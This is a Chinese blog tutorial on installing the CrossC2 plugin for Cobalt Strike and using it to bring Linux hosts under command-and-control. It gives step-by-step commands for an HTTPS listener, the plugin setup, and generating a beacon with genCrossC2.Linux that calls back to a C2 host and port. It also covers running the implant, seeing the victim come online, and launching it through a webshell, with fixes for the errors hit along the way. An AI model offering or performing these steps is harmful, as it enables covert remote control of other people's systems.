cobaltstrike安装_Cobalt Strike使用Cross C2上线Linux

0x01 前言

Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件,可做一些简单的操作,记录一下使用过程中遇到的一些小问题。

Cross c2支持架构说明:

ce6a94be0ae55f58e4c5d57e9229a1be.png

0x02 创建监听器

Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听

Cobalt Strike -> Listeners -> Add

8af58c1457e1fc031cead9eb15e0593e.png

点击Save建立监听

2b83deb2bd76d3a4b5cbf90bbbc9fad8.png

0x02 安装插件

将CrossC2.cna、genCrossC2.Linux两个文件复制到Cobalt Strike服务端(必须处于同一目录)

d77f9a101d7bca6fe455eaf9f6712958.png

复制文件之前需要注意,将CrossC2.cna文件第37行/xxxx/xxxxx/genCrossC2改为Cobalt Strike服务端的根目录

$process = exec("/xxxx/xxxxx/genCrossC2"." ".$host." ". $port." null null ".$system." ".$arch." ".$outputFileName);

用nohup命令将CrossC2.cna添加到服务端插件中(仅供参考,这一步实际上是没有必要的)

nohup ./agscript [host] [port] [username] [password] CrossC2.cna &

4a9d3a1770528959fb6bf76929b0afc7.png

Windows客户端GUI的使用方法

CrossC2 -> CrossC2 Payload Generator -> genCrossC2

81c56b062ac1b91b6ade63a477213bfe.png

因为GUI琢磨半天也没能生成成功,所以我们以Linux为例,在Linux系统中调用底层程序去生成可执行文件

0x03 安装JDK1.8环境

Centos7命令直接安装并自动配置环境变量

yum install java-1.8.0-openjdk* -y

查看是否安装成功及版本号

c8a952b21f91d7c201303dd011a1710c.png

(Tips:如果要在单独的一台Centos机器上运行,需要将整个Cobalt Strike服务端打包复制过去)

0x04 生成可执行文件

生成可执行文件的命令

[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]         -platform        'MacOS' / 'Linux'         -arch            'x86' / 'x64'[ex]:    ./genCrossC2.Linux 10.10.10.10 40443 null null Linux x64 C2

错误1:

某云自带的JAVA环境下运行后发现报错,后来了解到是因为frp的系统架构和安装环境的系统架构不匹配导致的,重新安装frp即可

f5d0d179fbc6ccbdb3efbd8775e76f0a.png

错误2:

某机器运行后发现JAVA报错,后来了解到因为需要将服务端的.cobaltstrike.beacon_keys文件复制到本地Cobalt Strike目录下

e1839a862435983a983a42701822c37a.png

最后在Centos上执行生成成功

629eed8cf88424562df9122e8234558e.png

chmod给权限后运行,保持状态可以安装使用screen,个人感觉这个好用一点

screen ./C2

c8207f5bb2df7b7f552cacafe51a3e54.png

Cobalt Strike客户端上线Linux主机

934ce7d1214e225468649ee75928c4eb.png

可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题

5b0c61c58f3de609425302b097a24e80.png

查看当前glibc动态库版本

strings /lib64/libc.so.6 |grep GLIBC

3480c1feb66d42d93581f3664e38361e.png

虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17

2b383f9986fc7c28d409842e1e7c1852.png

所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/

下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装

但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了

参考链接:

https://gitmemory.com/gloxec (Cross C2运行问题大全)https://gloxec.github.io/CrossC2/zh_cn/ (Cross C2中文使用方法)https://github.com/gloxec/CrossC2/issues/23https://github.com/gloxec/CrossC2/issues/16https://www.bugfor.com/vuls/4000.htmlhttps://blog.csdn.net/LEON1741/article/details/78205198

欢迎关注我们~  也欢迎各位师傅积极投稿~~

bbb6d1cf70e76d81150e86384f9ccd01.png扫码关注最新分享搜索公众号:nearsec 7698f75750a95ef617bc7604f5ba4154.png你点的每个在看,我都认真当成了喜欢
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值